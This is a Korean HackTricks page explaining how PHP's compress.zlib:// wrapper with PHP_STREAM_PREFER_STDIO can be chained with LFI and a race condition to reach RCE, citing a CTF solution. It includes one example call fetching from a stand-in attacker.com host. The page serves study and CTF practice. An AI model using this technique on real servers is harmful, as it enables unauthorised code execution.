4.3 KiB
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- Hacking 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.
compress.zlib://
및 PHP_STREAM_PREFER_STDIO
compress.zlib://
프로토콜을 사용하여 열린 파일은 PHP_STREAM_PREFER_STDIO
플래그와 함께 데이터를 계속 기록할 수 있습니다. 이는 연결에 도착하는 데이터를 나중에 동일한 파일에 계속 기록할 수 있다는 것을 의미합니다.
다음과 같은 호출은 가능합니다:
file_get_contents("compress.zlib://http://attacker.com/file")
http://attacker.com/file에 대한 요청을 보낼 것입니다. 그러면 서버는 유효한 HTTP 응답으로 요청에 응답할 수 있으며, 연결을 유지한 채로 나중에 추가 데이터를 보낼 수 있습니다. 이 데이터는 파일에 기록됩니다.
이 정보는 php-src 코드의 main/streams/cast.c 부분에서 확인할 수 있습니다.
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
Race Condition에서 RCE로
이 CTF는 이전 트릭을 사용하여 해결되었습니다.
공격자는 피해 서버가 공격자 서버에서 파일을 읽는 연결을 열도록 만듭니다. 이 연결이 존재하는 동안 공격자는 서버에 의해 누출된 임시 파일의 경로를 유출합니다.
연결이 여전히 열려 있는 동안 공격자는 자신이 제어하는 임시 파일을 로드하는 LFI를 악용할 것입니다.
그러나 웹 서버에는 <?
를 포함하는 파일을 로드하는 것을 방지하는 검사가 있습니다. 따라서 공격자는 Race Condition을 악용할 것입니다. 여전히 열려 있는 연결에서 공격자는 웹 서버가 파일에 금지된 문자가 포함되어 있는지 확인한 후에 내용을 로드하기 전에 PHP 페이로드를 전송할 것입니다.
자세한 정보는 https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer의 Race Condition 및 CTF 설명을 확인하세요.
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- 독점적인 NFT 컬렉션인 The PEASS Family를 발견하세요.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.